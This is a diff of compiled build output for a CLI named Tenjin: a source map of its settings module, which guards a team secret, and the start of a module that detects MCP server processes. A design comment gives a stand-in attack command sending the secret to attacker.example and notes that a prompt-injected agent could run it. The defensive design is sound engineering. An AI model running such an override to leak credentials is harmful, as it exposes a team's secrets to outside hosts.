+ {"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;A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;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
@@ -0,0 +1,198 @@
1
+ import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+ import {
3
+ package_default
4
+ } from "./chunk-YUY4SAGM.js";
5
+
6
+ // src/router/mcp-processes.ts
7
+ import { execFile } from "node:child_process";
8
+ import { stat } from "node:fs/promises";
9
+ import { dirname, join } from "node:path";
10
+ import { fileURLToPath } from "node:url";
11
+ import { promisify } from "node:util";
12
+ var exec = promisify(execFile);
13
+ var listProcesses = async () => {
14
+ if (process.platform === "win32" || typeof process.getuid !== "function") return null;
15
+ try {
16
+ const { stdout } = await exec(
17
+ "ps",
18
+ ["-U", String(process.getuid()), "-o", "pid=,ppid=,stat=,lstart=,args="],
19
+ { timeout: 5e3, env: { ...process.env, LC_ALL: "C" }, maxBuffer: 4 * 1024 * 1024 }
20
+ );
21
+ return parsePs(stdout, process.pid);
22
+ } catch {
23
+ return null;
24
+ }
25
+ };
26
+ var PS_LINE = /^\s*(\d+)\s+(\d+)\s+(\S+)\s+(\w{3}\s+\w{3}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2}\s+\d{4})\s+(.*)$/;
27
+ var ANCESTRY_DEPTH = 10;
28
+ function parsePs(stdout, selfPid) {
29
+ const rows = [];
30
+ for (const line of stdout.split("\n")) {
31
+ const m = PS_LINE.exec(line);
32
+ if (m === null || m[3].startsWith("Z")) continue;
33
+ const startedAt = Date.parse(m[4].replace(/\s+/g, " "));
34
+ rows.push({
35
+ pid: Number(m[1]),
36
+ ppid: Number(m[2]),
37
+ startedAt: Number.isNaN(startedAt) ? null : startedAt,
38
+ args: m[5]
39
+ });
40
+ }
41
+ const byPid = new Map(rows.map((r) => [r.pid, r]));
42
+ const underClaude = (row) => {
43
+ let parent = byPid.get(row.ppid);
44
+ for (let i = 0; i < ANCESTRY_DEPTH && parent !== void 0; i += 1) {
45
+ if (isClaudeCode(parent.args)) return true;
46
+ if (parent.ppid === parent.pid) break;
47
+ parent = byPid.get(parent.ppid);
48
+ }
49
+ return false;
50
+ };
51
+ const routers = [];
52
+ const claude = [];
53
+ for (const row of rows) {
54
+ const mcp = row.pid !== selfPid ? tenjinMcp(row.args) : null;
55
+ if (mcp !== null) {
56
+ routers.push({
57
+ pid: row.pid,
58
+ startedAt: row.startedAt,
59
+ ppid: row.ppid,
60
+ kind: routerKind(row.args),
61
+ underClaude: underClaude(row),
62
+ ...mcp.version !== void 0 ? { version: mcp.version } : {}
63
+ });
64
+ } else if (isClaudeCode(row.args)) {
65
+ claude.push({ pid: row.pid, startedAt: row.startedAt, ppid: row.ppid });
66
+ }
67
+ }
68
+ return { routers, claude };
69
+ }
70
+ function routerKind(args) {
71
+ const tokens = args.trim().split(/\s+/);
72
+ if (tokens.includes("--plugin")) return "plugin";
73
+ const harness = tokens.indexOf("--harness");
74
+ if (harness >= 0 && tokens[harness + 1] === "codex") return "codex";
75
+ if (tokens.includes("--harness=codex")) return "codex";
76
+ return "other";
77
+ }
78
+ var ONE_SHOT = /* @__PURE__ */ new Set(["mcp", "plugin", "config", "update", "doctor", "setup-token"]);
79
+ var INTERPRETER = /^(node|nodejs|bun)(\.exe)?$/i;
80
+ function isClaudePath(token) {
81
+ return isClaudeBinary(token) || token.includes("/claude/versions/") || token.includes("/claude-code/") || token.includes("@anthropic-ai/claude-code/cli.js");
82
+ }
83
+ function isClaudeBinary(path) {
84
+ const base = path.split(/[/\\]/).pop() ?? path;
85
+ return base === "claude" || base === "claude.exe";
86
+ }
87
+ function claudePathEnd(tokens, at) {
88
+ const first = tokens[at];
89
+ if (first === void 0) return -1;
90
+ if (isClaudePath(first)) return at + 1;
91
+ if (!/^(\/|[A-Za-z]:\\)/.test(first)) return -1;
92
+ let path = first;
93
+ for (let i = at + 1; i < tokens.length; i += 1) {
94
+ const next = tokens[i];
95
+ if (/^[-/\\]/.test(next)) return -1;
96
+ path = `${path} ${next}`;
97
+ if (isClaudeBinary(path)) return i + 1;
98
+ }
99
+ return -1;
100
+ }
101
+ function isClaudeCode(args) {
102
+ const tokens = args.trim().split(/\s+/);
103
+ let at = 0;
104
+ if (tokens[0] !== void 0 && INTERPRETER.test(tokens[0].split(/[/\\]/).pop() ?? "")) at = 1;
105
+ const end = claudePathEnd(tokens, at);
106
+ if (end < 0) return false;
107
+ const sub = tokens[end];
108
+ return sub === void 0 || !ONE_SHOT.has(sub);
109
+ }
110
+ var RUNTIME_ENTRY = /[/\\]runtime[/\\]versions[/\\]([^/\\]+)[/\\]dist[/\\]index\.js$/;
111
+ function tenjinMcp(args) {
112
+ const tokens = args.trim().split(/\s+/);
113
+ let version;
114
+ const bin = tokens.findIndex((t) => {
115
+ const runtime = RUNTIME_ENTRY.exec(t);
116
+ if (runtime !== null) {
117
+ version = runtime[1];
118
+ return true;
119
+ }
120
+ return /(^|[/\\])tenjin(\.js|\.cmd)?$/.test(t) || /[/\\]tenjin-cli[/\\]/.test(t) || /[/\\]hosts[/\\]claude[/\\]tenjin[/\\]\.\.[/\\]\.\.[/\\]\.\.[/\\]index\.js$/.test(t);
121
+ });
122
+ if (bin < 0 || tokens[bin + 1] !== "mcp") return null;
123
+ return version !== void 0 ? { version } : {};
124
+ }
125
+ var installedAt = async () => {
126
+ let dir = dirname(fileURLToPath(import.meta.url));
127
+ for (let i = 0; i < 6; i += 1) {
128
+ try {
129
+ const st = await stat(join(dir, "package.json"));
130
+ return Math.max(st.ctimeMs, st.mtimeMs);
131
+ } catch {
132
+ dir = dirname(dir);
133
+ }
134
+ }
135
+ return null;
136
+ };
137
+ var RECONNECT_FIX = "Start a new Claude Code session: this one still runs the earlier Tenjin build.";
138
+ var NEW_SESSION_FIX = RECONNECT_FIX;
139
+ function mcpServersState(procs, installed, version = package_default.version, fix = RECONNECT_FIX) {
140
+ const check = (detail) => ({
141
+ stale: 0,
142
+ check: { name: "mcp server", status: "ok", required: false, detail }
143
+ });
144
+ const unchecked = (detail) => ({
145
+ stale: 0,
146
+ check: { name: "mcp server", status: "warn", required: false, detail, checked: false }
147
+ });
148
+ if (procs === null) {
149
+ return unchecked(
150
